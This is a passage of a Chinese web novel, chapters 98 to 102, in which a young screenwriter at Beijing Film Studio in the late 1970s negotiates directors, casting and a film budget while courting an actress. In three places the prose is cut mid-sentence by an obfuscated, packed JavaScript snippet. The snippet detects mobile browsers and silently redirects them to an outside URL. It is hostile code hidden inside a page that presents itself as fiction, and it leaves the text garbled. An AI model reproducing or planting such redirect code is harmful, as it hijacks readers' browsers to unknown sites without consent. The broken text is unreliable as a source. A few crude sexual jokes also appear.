高远也头疼了,他一时也想不起合适的替代人选来,只说道:“导演,您给我点时间让我好好想想,争取明天上午拿个名单给您。别的还有事吗?” 王好为有点不好意思,说道:“还有件事情,我受人之托,向你讨个人情。” 第98章 嚯,地道! 高远乐了,“谁这么大脸面,托关系都托到您这里来了?您甭跟我客气,有话直说。” 王好为呵呵一笑,道:“还能有谁,李文化同志呗,他对你创作的那个《太极宗师》很感兴趣,毛遂自荐想要执导,又抹不开面子亲自跟你说。 昨儿晚上跑我家去了,拉着你晨声大哥喝了半宿酒,最后才吞吞吐吐说了来意,拜托你晨声大哥跟你求求情。 你晨声大哥也觉得跟你张不开这张嘴,所以,就只能由我出面替他说项说项喽。” 高远转转眼珠儿,低声问道:“导儿,我这边倒是没问题,反正你对这部执导片子的兴趣也不大。李导那边,就不怕得罪了第二创作集体的话事人吗?” 王好为目光一凛,说道:“小高,我也不怕跟你实话实说,厂里有不少干部职工都对以前制定的政策存在诸多不满,尤其是这段时间以来,争论就没停息过。 创作集体这项制度源自于苏联,大家都不否认,在建国初期是最合适国内电影事业的快速发展的。 但现在不一样了,它的存在实际上阻碍了电影事业的进步。 老导演们思想观念普遍腐朽陈旧,大多数导演还停留在《地道战》《**战》《小兵张嘎》《闪闪的红星》那个年代。 虽然大家都不否认那些电影都是极为优秀的,拍摄制作那些**影片的导演们也是才华横溢的。 那些个老电影在国家电影发展史上青史留名。 但毕竟属于过去式了。 我们新时期的电影人在传承、弘扬老电影人对待工作务实、严谨的伟大精神,对电影拍摄的独特见解和崇高的艺术追求的同时,更要求变、创新。 努力为新时代的电影事业发展贡献出自己的力量。 我相信你也看到了,厂里多少年轻导演想出头却迟迟得不到机会。 这是什么原因造成的,不用我说你也应该很清楚了吧?” 王好为都把话说得如此明白了,高远再装傻就**道了。 他点点头,说道:“我清楚,老导演们的存在,阻碍了年轻导演们的事业发展。” “嗯,所以说,年轻导演们只有抱起团来,去跟这种腐朽的制度去抗争,才能给自己创造出人头地的机会。这也是李文化为什么明知他一旦执导了你这部片子,会彻底将第二创作集体得罪,也请我向你说情的主要原因。” “那厂长怎么看?” “老厂长是个思想非常开明的人,这点你放心,只要你同意了,老厂长就会支持。” 高远想了想,说:“导儿,还是那句话,我无所谓,无论厂里派哪位导演来执导此片,我都会跟他配合好的。 但有件事情我也得提前跟您交代一句,这部片子我非常看重,正式建组之前,我会向老厂长提要求,这部片子必须由我来进行主导。” 王好为吃了一惊,“你的意思是,你要当执行导演?” 高远一笑,说道:“我还没想好,再说吧。” “臭小子,你野心不小啊,得了,话我也带到了,李文化同志说,只要你同意,他想要跟你见个面聊聊。 知道我为什么把你留下来了吧,我替你做主了,明天上午你跟李文化同志见个面谈一谈,务必给大姐一面子哈。” “您都自称‘大姐’了,我再拒绝您可就不当人了。” “得,就知道你小子是个爽快人。快上去休息吧,我也回了。” 高远目送她离开,一扭头儿,发现老妈正拉着温柔大姐姐的时候眉开眼笑。 大姐姐面红耳赤,如小鸡吃米一般点着头。 您咋还没走啊? 高远心里有点虚,赶忙走过去。 就听见老妈说:“阿姨得谢谢你啊,你给阿姨设计的那两条连衣裙太漂亮了。 阿姨穿到单位上去,女同事、女护士嫉妒得跟什么似的,都向我打听在哪儿买的呢。 我说这可买不着,是我儿子的朋友帮我量身定做的,她们还不信。 爱信不信吧,不过阿姨可露脸了。” 李健群温婉笑着说:“阿姨您过奖了,都是应该的,您满意就好。” “哎呀,真是个心灵手巧的好姑娘。”张雪梅同志大发感慨,越看李健群越喜欢。 “老妈,我爸都等您很长时间了,这么冷的天儿,您再不回家就赶不上二路汽车了。”高远玩儿梗。 张雪梅横他一眼,没好气儿地说道:“哪来的二路汽车啊?你小子又说什么胡话呢?” 她又端详端详李健群,立时换了一副面孔,温和且慈祥的说道:“我家小远不着调,健群你平时多担待着点儿。 时间不早了,阿姨就不跟你多聊了,你一个人在京城也没个亲戚朋友,没工作的时候就常来家里玩儿,阿姨给你做好吃的。” 李健群咂摸着这话,感觉阿姨话里有话,俏脸又是一红,轻声道:“工作不忙时,我会去家里看望您和叔叔的,您别嫌我打扰就成。” “不嫌,不嫌,阿姨巴不得你常去呢。”拍拍她的手背,张雪梅轻柔笑了笑,转身走了。 高远寻思着,难不成姐姐跟老妈透露了点什么? 当初姐姐可是信誓旦旦地向自个儿保证,她绝不会跟老妈说的。 姐姐叛变**了? 来不及多想,高远嘿嘿笑道:“我妈对你格外热情啊。” 李健群今天特别优雅,精致的脸上不施粉黛却依旧光彩照人,柔顺的秀发倾泻于肩。 穿一件羊绒大衣,搭配一条阔腿裤,脚蹬皮靴,裤管将鞋面覆盖起来,显得整个人亭亭玉立。 她汪了水的双眸凝视着高远,调皮地说道:“那是因为我讨阿姨喜欢啊。” “嗯嗯,还因为你长得漂亮,演技又好,说话也温柔,堪称中老年妇女的偶像。” “你……你又胡说八道,我怎么就是中老年妇女的偶像了?” “你没看出来,我老妈这是把你当成儿媳妇对待了吗?” 李健群一跺脚,转身往楼道里跑开了,“你这张破嘴,太讨厌了!” 高远摸着下巴颏乐得跟地主家傻儿子似的,嗯,还得继续调教啊,再调教一段时间,慢慢就撬开姐姐的心房了。 他也回了阔别已久的403房间。 往床上一趟,大脑开始高速运转。 《李志远》这部片子自己虽然参与度不高,但也没完全放手。 老梁现在已经成了自己的工具人,剧组什么情况他会定期向自己汇报。 但男主角罢演这件事情发生的太突然了。 片刻后,高远琢磨过味儿来,王学圻虽然在形象上很适合饰演这个角色,但毕竟青涩,演技也就那么一回事吧。 再加上王导对演员的表演功力要求非常高,他受不了导演的高标准严要求,辞演也就不稀奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402279|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 但这一时半会儿的,您让我去哪儿给您找合适的演员去啊? 高远很头疼,躺在床上翻来覆去地烙大饼。 他在脑子里将年龄合适,演技出众的男演员又过了一遍,发现正如王导所说,目前国内优秀中年男演员出现了严重的断层现象,还真没有合适的演员去饰演李志远这个角色。 那么,解决问题的办法就只有一个了。 改剧情,改设定,把男主角的年龄降下来,让李志远从一个遭受到**的中年男教师变身为一个立志为穷困地区的教育事业做贡献的有为青年。 高远起身走到书桌前坐下,取出稿纸和钢笔,奋笔疾书。 李志远,23岁,因家中兄妹众多,且大哥已经**,他高中毕业在家赋闲两年后,响应号召义无反顾插队下乡。 去中宁县前,他并不知道当地老师们已经受到了冲击,到了后跟栓娃子一聊才知道自己将会面临怎样一个恶劣的环境…… 这么一改,故事的整体框架没有太大变化,改变的只是男主角的年龄结构。 如此一来,可选择的演员范围就太多了。 高远咧嘴一笑,掰着手指头点人头儿:唐国强、濮存昕、杨立新、许亚军、周里京、张铁林…… 张铁林就算了,那个老流氓除了舌吻技术一流,只会哈哈大笑,演技尬得能让人原地抠出五米深的地基来。 唐国强也再次被他排除在外,挖掘机技术哪家强,中国山东找蓝翔。 咦…… 不寒而栗啊,不寒而栗。 周里京不合群,高远是坚决不会与他合作的。 许亚军又太渣,何晴那么好看,想当年是多少男人心目中的白月光啊,丫说踹就踹了。 祁同伟,你知道你伤了多少个老男人多少颗脆弱的心脏吗? 最后高远在濮存昕和杨立新两人的名字底下用红颜色的笔标注了一下,这二位都是人艺的。 他突然又想起个人来,这家伙叫冯远征。 后一想,小冯比我还小两岁了,算了,先备着,等将来再用吧。 收起稿纸和钢笔,高远洗漱完,心满意足地倒头就睡。 次日高远起床后,发现天空中飘起了雪花。 今年京城的雪下得格外多。 高远印象中,中美宣布建交那几天,就是和一场罕见的大雪联系在一起的。 全班同学集体出动拍雪景,相机还是在学校团委借来的。 孙霄兵同学乘兴淫了一首词:云际白鸽飘碎羽,化作梨花万树…… 意思是以白鸽象征中美建交,又巧妙地和这场大雪联系了起来。 高远冷眼旁观同学们在雪地里撒欢。 听了这首词后他也诗兴大发,念道:人之初,性本善,不交作业是好汉。老师来了怎么办?拿起菜刀跟他干。干不过怎么办?脱下裤子给他看。他不看怎么办?仰天召唤奥特曼。 梁左当时问道:“你说的这是个女老师吧?” 高远点头如捣蒜。 李文化顶着一脑门儿雪花敲门后走了进来,他手里拎着个铝饭盒,笑着说道:“还没吃呢吧,我在食堂给你打了几个韭菜猪肉馅包子,赶紧趁热乎吃一口吧。” “哎呀,李导,这怎么好意思的。”他嘴上说着不好意思,手可一点都不慢,把饭盒接过来,打开盖子,拿出一个咬了一口。 嚯,地道! 第99章 健群姐的温柔(求赞,求必读票) 他又招呼李文化坐了,给他递上烟倒杯水,刚想开口,俏生生的李健群见门敞开着,走了进来。 “呀,你都吃上了……李导也在呢。”健群姐手里提着个双层保温桶,见高远啃着包子,先说了一句后又跟李文化打招呼。 李文化笑得很鸡贼,也说道:“健群来了,我来找小高说点事儿。” 高远一瞧,便知道温柔大姐姐也是给自个儿送早餐的,忙不迭把保温桶接过来放在茶几上。 看着她满身的雪花,又把包子放下,拿起鸡毛掸子说道:“这么冷的天儿你还想着我,把我感动的哟,五脊六兽的。转身,我给你掸掸雪花。” 李健群瞪他一眼,相处越久,也渐渐摸清了这货的脾气,他工作起来很认真,甚至有些严厉,生活中却像个长不大的孩子似的,时常开一些无伤大雅的玩笑,不像个正经人,正经起来又不是人,口花花起来更不得了,撩拨得人心里跟猫抓一般。 知道他在跟自己开玩笑,李健群哼了一声,说:“又犯贫,你这张嘴啊,简直没治了。” 却乖巧地转身,任由高远拿着鸡毛掸子轻轻掸着她羊绒大衣上的片片雪花,一颗芳心甜如蜜。 高远嘻嘻笑着给她清理完,端详着大姐姐微红精致的俏脸,继续耍贫嘴道:“大姑娘了,这气质,确实如树人先生所云:天然去雕饰,清水出芙蓉,天生丽质难自弃哇。” 李健群打他一下,羞涩道:“没完没了了是吧?再说,这话是鲁迅先生说的吗?就会胡说八道。” 高远一挥鸡毛掸子,道:“谁说的不重要,重要的是好诗好词的用到美好的女子身上。” 李文化哈哈笑着捧了一句:“这话说得对。” 李健群羞得耳根都红了起来。 两人的关系虽然没挑明,但对彼此间的心意已然心知肚明。 其实李健群多少是有点纠结的,毕竟眼前的大男孩比自己小几岁,自己跟他谈朋友,有老牛吃嫩草的嫌疑。 所以才会有之前分别,大姐姐说自己要好好考虑一下的话。 回到学校后发生的一件事情让李健群坚定了心意。 一个画家对她展开了疯狂的追求,学着文人雅士给她写情书,弹吉他对她表达爱慕之情,每天问候不断,嘱咐她多喝热水之类的。 让她烦不胜烦。 高远就从不会让她多喝热水,高远会把热水端到她面前。 虽说那位画家同志跟自己是同行,自己跟他也挺谈得来,但总觉得两人之间欠缺一点东西。 她清晰地感知到,那个东西叫爱情。 这种感觉很微妙。 但是跟高远那家伙在一起的时候,自己是轻松的、惬意的、欢喜的。 最重要的是,自己习惯跟他待在一起。 这才是爱情啊。 唉……小几岁就小几岁吧。 高远不是说过嘛,当爱情经过的时候,我没有牵到他的手,等老了,再去回忆往昔,你才会发现,这是你这一辈子最遗憾的事情。 所以,千万不要让这份遗憾留在你的心底。 因此,当北影厂的录用函寄到学校后,李健群立马收拾了个包来了京城。 她大四了,明年七月份将正式毕业,学校老师见她提前找到了工作,都为她感到高兴。 更何况是被北影厂这种国营大制片厂录用,就更没有留人的理由。 另外,更触动她心弦的是,刚回到京城,高远的恩师就驾鹤西去。 高远当时的举动,他对恩师突然离世的不舍、难以接受、崩溃到嚎啕痛哭,跪倒在恩师的遗像前把前额都磕青了…… 这一幕幕呈现在她的眼前,让她看到了高远情深义重的那一面。 李健群越发感觉到,高远是个值得托付终生的人。 “别站着了,赶紧坐。”高远牵着李健群的手,笑道。 李健群挣了挣,没挣开,含羞带嗔瞟了眼这个放肆的家伙,任由他牵着自己的手,嘴角轻扬,像初绽的花。 她的唇形很好看的,轮廓分明,不点而朱,抿笑时左唇角下的那颗美人痣尤其生动。 李健群在椅子上坐下来,轻声问道:“我不打扰你们谈话吧?” “我先看看你给我送来了什么早餐。”高远走回到茶几前,将双层保温桶盖拧开,发现第一层是几个小笼包,第二层里装着小米粥。 他立刻舍弃了李文化的韭菜包子,吃个小笼包喝口粥。 嗯,姐姐的早餐营养价值就是比李导送来的丰富。 李文化这时候说道:“不会不会,我来找小高谈谈《太极宗师》拍摄的事情。” 李健群知道高远又写了两个剧本,《李志远》已经开始拍摄了,之前王好为导演还邀请她饰演一个女角色,有两场戏,她也爽快答应了。 但她不知道高远写的第三个剧本是个武打片。 “《太极宗师》,是写江湖故事的吗?”她问道。 李文化点着头,说:“没错,写的是一个年轻人学武强身,以武强国的故事。这个本子已经通过各方面的审核了,汪厂长的意见很明确,《太极宗师》要作为明年开年后的重点影片来筹备。 我不才,毛遂自荐担任这部片子的导演,来和小高老师交流一番。” 高远嘴里还有一口包子,他含混不清地说道:“李导太谦虚了,您是大摄影师出身,又有多年执导经验,愿意担任这部影片的导演属于屈就。” 好话谁都愿意听,李文化乐开了花,“小高老师过奖了,这么说,这事儿咱就定下来?” “我这边肯定是没问题的,但是您能不能如愿以偿执导这部片子,最终还得看厂领导们的意见。” “这你放心,汪厂长那边我去沟通。” 昨天晚上王好为已经跟高远知会过了,只要他这边答应让李文化掌镜,汪厂长那边一点问题都没有。 见他信心十足,高远就知道,《太极宗师》的导演,非这位莫属了。 他其实也挺满意的,北影厂这帮新生代导演里面,李文化属于思想开放,愿意去尝试新鲜事物那拨的。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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高远对他越发欣赏了,显然,他是做过功课的,不仅认真阅读了剧本,还有自己对拍好这部影片的思考。 一个负责任的导演,怎么会不被编剧喜欢。 高远想了想,说道:“我倒是有个合适的人选,这孩子今年16、7岁,叫李连杰,目前人在什刹海体校学习,他是全国武术冠军,前些年还代表国家武术队出访过美国。 这孩子虽说年龄跟杨昱乾有点差距,但长得也算是少年老成。 不如,抽时间我俩去什刹海体校看看?” 李文化点头道:“成啊,也别抽时间了,咱这就去吧,我去跟厂办申请车。” 高远苦笑道:“李导也太心急了,我这下午还得回学校参加期末考试呢,这时候跟您跑一趟什刹海,一来一回得不少时间,耽误了考试,老师们非得把我的皮扒了不可。” 李文化挠头一笑,道:“都忘记你还是个大学生了。对了,女主角,你有合适的人选推荐吗?” 高远抱着保温桶,把最后一口粥倒进嘴里,咽下后一抹嘴,清澈的目光撇着大姐姐,见她神情期待,又有点不好意思开口的样子,他乐了,故意道:“我觉得,新来厂的那个刘冬不错。” 第100章 这部片子,我必须深度参与! 李建群哼了一声,腮帮子一鼓一鼓的,小模样特娇憨。 李文化咧嘴一笑,他也是个人精,瞧出来这对青年男女之间那点子情愫。 也清楚高远是在故意逗李健群呢。 却不点破,反而点头附和道:“嗯,刘冬不错,刚从北电毕业,虽说还没参演过什么影片,但从排练场上的表现上可以看出来,是个好苗子。” “关键是年轻啊,相貌也符合我对女主角陈少琪的塑造。”高远笑嘻嘻说道,还拿眼角去瞥大姐姐。 李健群绷不住了,提高点儿音量,瞪着眼睛说道:“她都毕业了,我还是在读生呢。再说,我哪一点不符合你描写的女主角?我不如刘冬长得好看吗?” 高远和李文化对视一眼,两人都哈哈大笑起来。 李健群有点羞恼了,起身欲走。 高远赶忙抓住她的手腕,说道:“开个玩笑而已,咋还当真了呢。” “我可没觉得你是在开玩笑,你松手!” “我不松。” “松手!” “不松。” 李健群无奈,叹声气,直视着这个死皮赖脸的家伙,说:“不松也行,把女主角给我演。” 高远乐了,“好了,不逗你了,这个女主角就是照着你写的。等等啊,我给你拿剧本。” 说着,他把手松开了,走到书桌前拉开抽屉,取出剧本递给她。 “好好揣摩这个人物啊,陈少琪可不是小红,心理活动可丰富太多了。”他又叮嘱道。 李健群嘁了一声,说:“少看不起人了,我的表演水平如何,别说你不清楚啊。” 高远正色道:“不一样的,《瞧这一家子》中的小红,性格外放,开朗活泼,戏份也大多生活化,你只要别用力过度就能把这个人物诠释好。 《太极宗师》里的陈少琪虽然也有假小子的一面,但感情细腻,尤其在杨昱乾不被父亲接受,拒绝收其为徒之时,她表现出来的那种对所爱之人的不舍,和对父亲之命难违的纠结,需要特别深厚的表演功力才能展现出来。” 李健群的神色也凝重起来,她还是很乐意接受高远意见的,便说道:“我明白了,放心,我会认真揣摩这个角色的……你们先聊,我看一会儿剧本。” 她又走回到书桌前,坐下后把剧本放在桌面上打开,认真默读起来。 光这份爱岗敬业的态度,就让高远喜欢得不要不要的。 李文化冲他竖起大拇指,轻声道:“郎才女貌,天造地设的一对儿。” 高远咧嘴笑了,“您这话我爱听。” “那我今后多说说。” “谢了您内。” 李文化提议道:“咱这样,这片子的拍摄筹备工作宜早不宜迟,咱俩先去厂长那里报个备,一来申请拍摄资金,二来明确一下各自的职责,我听说你对这片子的主导权有些想法?” 高远也不跟他藏着掖着,直说道:“我不瞒您说,咱们国内还没有监制这个职位,剧组里是导演和制片人说了算,导演我肯定是当不了的,制片人一般由厂里某位领导兼任着。 我又想深度参与,所以想谋一个总策划之类的职务。” 李文化了然点头,道:“了解,如果只是编剧的话,在剧组里确实没有多少话语权,你想要深度参与电影的拍摄,还真得有个正式头衔才行。 走吧,咱俩去跟厂长见个面,把这事儿定下来,过完元旦就开始筹备。” 高远见他如此斗志昂扬、迫不及待,也不好打击他的积极性,扭头见健群姐拿着支笔神情专注,在稿纸上写着什么,估计是人物小传之类的东西,也就没打扰她,起身跟李文化一起出了门。 汪阳朴素惯了,是个不讲究办公环境的领导,说实话他现在使用的这间办公室,除了电话不响啥都响。 高远往沙发上一坐,吱呀! 弹簧发出类似于枫花恋一般的叫声。 李文化在他身边坐了,沙发也吱呀一声,像三上悠亚的叫声。 汪阳打量着二位,对两人的造访心知肚明,率先开口道:“你俩沟通到位并达成一致意见了?” 高远点头笑着说:“您老圣明,我俩这点儿思想动态,肯定逃不过您的法眼去。” “少拍我马屁!”汪阳笑骂他一句,也是打心眼儿里喜欢这小子,呵呵笑道:“既然你俩互相看对眼了,我这边是没问题的。有什么要求就提吧,能满足的我尽量满足。” 高远搓着手乐不可支,“瞧您这话说的, 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话说回来,中影把利润拿过去,这个钱也不是他的,需要上交国家财政,国家拿到回款,才能继续支持电影厂拍片,如此循环往复,久而不决。 这就是计划经济年代的政策导向。 现如今,高远提出来要100万资金来拍摄这部影片,汪阳感到为难,就是这个原因。 国家给北影厂一年十部片子的计划指标,每部70万,你一部就要100万制作资金,无疑压缩了其他影片的拍摄金额,无论是导演还是演员,都不会轻易妥协的。 闹到自己这里来,那都是麻烦事儿。 况且,汪阳清楚《太极宗师》是部开创历史的好影片,但能不能取得成功,他在心里也打了个问号。 “小高,文化,你俩别这样看着我,你们知道,全年拍摄资金中影只给这么多,全部投入到你们这部影片当中,无异于豪赌,**,作为厂长我是不敢干的,所以,拍摄资金只能从其他方面想办法。” 汪阳叹声气,又说道:“如果你俩有其他办法,也可以跟我说。” 高远直言不讳:“这部片子,我必须深度参与,除了拍摄资金以外,我还得要个职务,得是个剧组中说了算的职务。” 第101章 说翻脸就翻脸 高远摊摊手,一副无可奈何的样子,说:“我俩能有什么办法啊,这年头儿又不让拉广告,所以只能指望厂里的支持。” 李文化也叹息道:“是啊,一点办法都没有。” 汪阳点了根烟,又把烟盒递给李文化,说道:“就不能压缩开支吗?” 高远明白他的意思,摇头道:“我给您算一下吧,这部戏分量最重的部分是闯塔,如果把闯塔的戏份全部拍摄下来,怎么也得耗时二十分钟。 后期制作每多减一刀就会减少一分故事的精彩性和完整性。 所以说,这部影片的时长肯定会超过100分钟的。 按照现在的惯例,一部影片最多90分钟,如果我们因循守旧,按照90分钟去拍摄,这故事就虎头蛇尾了。 所以我才说,增加预算是为了呈现故事的完整性和可看性。” 他上一部《瞧这一家子》就是在原版的内容上缩减过时长的,砍掉了一些无用的情节,使整部影片的节奏更加紧凑。 当然,这会儿也不是没有制片厂拍摄过超过90分钟的电影,但那属于个例。 李文化见汪阳还在犹豫,也补了一句:“厂长,我个人的意见和高远同志一致,闯塔是整部作品中最重要的部分,也是最精彩的看点,如果不能完整拍摄,那整部片子就塌了。” 汪阳狠狠抽了口烟,两道浓烟从鼻孔中喷出,他没说话,走到办公桌前,拿起电话打给孙文今,请他过来一趟。 不多时,副厂长孙文今到了,一见高远和李文化在座,就知道两人所为何来。 他打趣道:“你们两个这是来给老厂长施压了呀,为了《太极》的拍摄资金来的吧?” 高远笑了笑,说:“孙厂长料事如神。” 孙文今坐下了,点点他,道:“你小子甭拍我的马屁,我没那个料事如神的能力。你这事儿汪厂长早就考虑到了,猜到这部片子的拍摄资金方面一定会超出预算来,所以提前跟我说起过。” 汪阳苦笑道:“果不其然,这二位今天找我批预算来了。” 孙文今问道:“找您要多少钱?” 汪阳伸出一根手指头。 孙文今嚯了一嗓子,“你俩还真敢开牙,100万呐,这可不是超预算这么简单的事情了,你们这是逼得厂里不得不压缩其他影片的制作费用。” 高远也是苦笑连连,道:“想要把这部片子拍好,不投入资金怎么行。二位领导,就没有其他办法了吗?” 孙文今和汪阳对视了一眼,说道:“倒也不是说没有其他办法,开源不成咱就节流,我研究过剧本,你们这部片子的重头戏是闯塔没错吧?” 李文化点头道:“是。” 孙文今又道:“那就把有限的资金投入到重头戏的拍摄上,在服装、道具、置景方面能省则省吧。” 倒也不失为一个好办法,但高远不赞同。 他说道:“服装、道具、置景恰恰是最需要加强的方面,孙厂长您想啊,如果说我们拍摄出来的晚清风貌让观众一看就很假,剧中的人物只留个大辫子穿得却四不像,那这部片子可就彻头彻尾地失败了,也会被人说咱们北影厂不专业的。” “小高说的也有道理,咱们厂是国内电影事业的领头羊,拍出来的东西不伦不类,不仅是观众,更会让同行们笑破大牙的。”汪阳说道。 孙文今何尝不明白这个道理,他轻叹一声,嗓音低沉,道:“那就只有一个办法了,向上面打报告,申请专项资金。” 高远有个疑问,上面指的是哪个上面? 是电影局,还是文化部? 这俩老狐狸一唱一和的,不会在打我的主意吧? 果不其然,汪阳笑着说:“这是唯一能够解决你们俩拍摄资金需求的办法了,小高,要不,厂里打个报告,辛苦你拿着报告去文化部走一趟?” “爱谁去谁去,我不去!” 你俩套路我呢? 为了解决拍摄资金不足的问题,让我去找我大伯走后门,说是套路我都是对你俩的称赞了。 你们这是把我往跃华同志的鞋底子下送啊。 高远特肯定,只要自己拿着报告找上门,即便大伯给面子,批了,也不会真抽自己,但一顿狠批肯定是免不了的。 为了公家的事情让自己往里面搭人情,**才干这种事儿。 汪阳屈指敲打着沙发扶手,面容严肃道:“那就没办法了,厂里只能按照规定给你们70万。” 威胁我啊。 高远起身就走,“爱拍不拍,偌大的国家,又不是只有北影厂一家电影制作机构,你不拍是你的损失,大不了我去找上影,找长影,找八一厂。” 孙文今绷不住了,一把抓住他的胳膊,急声说道:“你小子咋说急就急呢?厂长只是提了个建议,你不同意也没拿枪逼你去,你还一蹦三尺高了。 坐下坐下,咱们再讨论讨论,看看还有没有其他解决问题的方式。” 高远停住脚步,冷笑道:“您也甭跟我打这个马虎眼,有其他解决问题的办法您二位也不会套路我去找我大伯走后门,您得知道一点,我这个剧本才是好姑娘不愁嫁。 并且这个本子厂里没给过我一分钱稿酬,也没签过任何合同,严格说起来,版权还在我手里,我爱卖给谁那是我的自由,厂里无权干涉。” “话不能这么说啊小高,厂里不是解决了你小叔的工作问题了么。” “没关系,我去跟我小叔说,让他主动辞职就是了。《李志远》那个本子,就当做我给领导们的辛苦费了,也不能让你们白忙活一场。” “你这孩子,咋是个急脾气呢。” “我拿出了我最大的诚意,却被您二位联起手来当枪使,搁你你急不急?再说了,既然得不到厂里的支持,我主动走人还不成吗?” 孙文今被高远这番话说得哑口无言,他看了汪阳一眼,心说,失算了吧我的老伙计。 汪阳也没料到高远的反应会这么大,一时间老脸通红,叹息一声,沉思片刻后妥协道:“得了,你小子也别惺惺作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402282|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态的了,跟我们俩老头子玩儿什么假招子? 这样吧,我先把这个剧本拿给廖公看看,廖公看了好,豁出我这张老脸去,我也给你弄100万来,这下你满意了吧?” 高远就知道他还有后招,不给他上点儿狠的,这只老狐狸是不会轻易把后手亮出来的。 他又回到沙发上坐下来,看着老厂长,说道:“这可不是我逼您的。” “是我自个儿上赶着行了吧。” “您要这么说,我还能感受到一点组织的关怀。” “你小子可真是个混不吝!还有什么要求,你一并提出来吧。” “这部片子,厂里能给我多大的权力?”高远问道。 汪阳瞪着眼说道:“你小子还想当制片人不成?想都不要想我跟你说!” 这年头儿,国有大厂特讲究论资排辈。 尤其是文艺战线上,讲究个传承有序。 郭德纲说得没错,师父收徒,徒弟们学艺三年,效力三年,在这六年中,师父管徒弟的吃喝挑费,出师之后头三年挣的钱全是师父的。 北影厂呢,进厂后的年轻导演往往是先当三年学徒工,再当三年副导演,最后能不能当导演单独执导一部影片的拍摄,一看你的业务能力,二看你的造化机遇。 高远也是非常清楚这一点的,他说道:“我没想过要当制片人,您给我个总策划的职位吧,只要让我深度参与到这部影片的拍摄过程中去就成。” 汪阳从始至终都知道这小子野心十足,他看了看孙文今,见老孙也微微点头,表示同意,便说道:“你这个臭小子啊,可真会给我出难题。 全厂上下千把号人都看着呢,你这是硬逼着老头子我推你上位啊。 得了,就这样吧,老头子也想明白了,既然要用你,这个风险我就得承担。 总策划就总策划吧…… 文化,你们问题吧?” 李文化笑着说:“我求之不得,小高讲戏的本事谁不清楚啊,他愿意深入参与到影片的拍摄制作中来,还省了我不少事儿呢。” “既然你们俩商量好了,那,过完元旦就尽快组建拍摄班子,包括剧本的完善,演员的挑选,服化道的准备,最重要的是,刚才小高不是提出来了么,要在影片中展现出晚晴的风貌,因此选景就成了重中之重,这方面,你俩有啥考虑吗?” 李文化摇摇头,说道:“我还没来得及想那么细。” 高远想起了一件事情,问道:“厂长,厂里是不是有拍《茶馆》的计划?” 汪阳愣了一下后才回答道:“没错儿,谢添导演跟我提过几次,我还在斟酌,没敢答应。你突然提起这茬来,是有什么想法吗?” 高远笑道:“老舍先生的《茶馆》描写的也是清末民初的故事,如果厂里要改编这部作品,肯定是需要搭建外景的吧?” 见汪阳点头,他继续说道:“这不就得了,我们的《太极宗师》也需要搭建外景,要展现一些老BJ街头巷尾的风貌,那就先建设起来呗。” 第102章 不愧是文化人 孙文今苦笑道:“哪有那么简单啊小高,搭外景是个大工程,你知道搭个外景要花费多少钱吗?” “30万?” “倒也用不了那么多,20万肯定够花。” 高远心里有数了,他说道:“您是担心搭完了用过了再拆,这钱就白花了是吧?” 孙文今点头道:“被你小子说对了。” “干嘛要拆呢?我说了,我们用完后如果厂里要投拍《茶馆》,谢导还可以接着用啊,最多也就是给那些店铺换换招牌的事情,能费多大工夫? 再者说,二位领导也清楚最近的风向了吧? 十一届三中全会马上就要召开,我党下一阶段的工作重心向全面发展经济建设作转移已成为必然。 这也意味着,国家对电影事业的发展也会全力以赴地支持。 电影事业繁荣昌盛了,在不远的将来,会有越来越多的剧组组建拍戏,对外景地的需求也会越来越多。 咱们弄这么一个清末民初的外景地,即便自己用不到,也可以租售给别的剧组使用吧。 您二位还怕收不回这笔投资来吗? 格局大一点,眼光长远一点,二位领导想想是不是这么个理儿?” 高远一顿白话。 咝! 汪阳和孙文今皆倒吸了一口凉气,目光迥然望住这小子,又都感觉到这小子的奇思妙想具备很高的可操作性。 并且,他说的十一届三中全会,党的工作重心向发展经济方面转移之类的,两人也没感到惊讶。 他所透露的这些消息,肯定是高部长跟他提起过的。 高部长是什么级别的干部? 那是“委员”前面挂着“中央”两个字的**。 所以,两位老同志丝毫不怀疑高远这番话的真实性。 因为就不可能有假。 “是啊,春天来了,环境也越来越好了。”汪阳评估了一番后,一拍大腿说道:“小高说得没错,就这么办吧,在厂里选块地,建个清末民初一条街。 这项工作文今同志你抓一下。” 孙文今笑着说:“得嘞,我亲自盯着。但是厂长,钱从哪里来?” 汪阳一笑,道:“我去找廖公申请,想必廖公会支持我们的。” 他又问两人道:“你俩还有其他要求吗?” 高远看一眼李文化,示意他该提要求提要求,这时候不提,过了这个村可就没这店了。 李文化笑道:“演员的问题我和小高研究过了,基本上问题不大,还有一个难题,就是武术指导不好选择,能不能请厂长跟香港的傅奇同志联系一下,请傅奇同志在香港帮我们找个同行来帮帮忙?” 汪阳一挥手,直接拒绝了,“这事儿你们想都不要想了,这年头儿,没哪个武指敢冒着巨大的风险来内地协助咱们进行电影拍摄的,你们俩从其他方面上想想办法吧。” 两人皆叹声气。 孙文今这时候说道:“我倒是可以给你们提供一个人选。” 高远忙说道:“您说,哪位高人啊?” 